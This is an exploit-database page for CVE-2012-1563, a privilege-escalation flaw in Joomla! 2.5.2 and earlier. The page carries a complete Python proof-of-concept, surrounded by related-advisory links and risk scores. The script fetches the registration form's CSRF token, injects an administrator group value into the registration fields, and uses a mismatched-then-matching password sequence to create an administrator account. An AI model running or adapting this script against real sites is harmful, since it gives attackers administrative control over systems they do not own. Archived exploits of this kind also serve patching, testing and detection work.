Lucene search
K

Joomla! < 2.5.2 - Admin Creation

🗓️ 20 Jan 2017 00:00:00Reported by Charles FolType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 97 Views

Joomla! <= 2.5.2 Admin Creation, Account Takeove

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Joomla! 2.5.2 - Admin Creation Exploit
26 Jan 201700:00
zdt
0day.today
Joomla! 3.6.4 - Admin TakeOver Exploit
26 Jan 201700:00
zdt
FreeBSD
Joomla! -- multiple vulnerabilities
6 Dec 201600:00
freebsd
Circl
CVE-2012-1563
15 Jan 202016:39
circl
Circl
CVE-2016-9838
14 Dec 201611:51
circl
CNVD
Core Remote Elevation of Privilege Vulnerability
16 Dec 201600:00
cnvd
CVE
CVE-2012-1563
15 Jan 202012:59
cve
CVE
CVE-2016-9838
16 Dec 201609:02
cve
Cvelist
CVE-2012-1563
15 Jan 202012:59
cvelist
Cvelist
CVE-2016-9838
16 Dec 201609:02
cvelist
Rows per page
#!/usr/bin/python3
# CVE-2012-1563: Joomla! <= 2.5.2 Admin Creation
# cf
# Source: https://www.ambionics.io/blog/cve-2016-9838-joomla-account-takeover-and-remote-code-execution

import bs4
import requests
import random


url = 'http://vmweb.lan/joomla-cms-2.5.2/'
form_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form'
action_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form?task=registration.register'

username = 'user%d' % random.randrange(1000, 10000)
email = username + '@yopmail.com'
password = 'ActualRandomChimpanzee123'

user_data = {
    'name': username,
    'username': username,
    'password1': password,
    'password2': password + 'XXXinvalid',
    'email1': email,
    'email2': email,
    'groups][': '7'
}

session = requests.Session()

# Grab original data from the form, including the CSRF token

response = session.get(form_url)
soup = bs4.BeautifulSoup(response.text, 'lxml')

form = soup.find('form', id='member-registration')
data = {e['name']: e['value'] for e in form.find_all('input')}

# Build our modified data array

user_data = {'%s]' % k: v for k, v in user_data.items()}
data.update(user_data)

# First request will get denied because the two passwords are mismatched

response = session.post(action_url, data=data)

# The second will work

data['jform[password2]'] = data['jform[password1]']
del data['jform[groups][]']
response = session.post(action_url, data=data)

print("Account created for user: %s [%s]" % (username, email))

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jan 2017 00:00Current
8.7High risk
Vulners AI Score8.7
CVSS 25
CVSS 3.17.5
CVSS 37.5
EPSS0.06479
97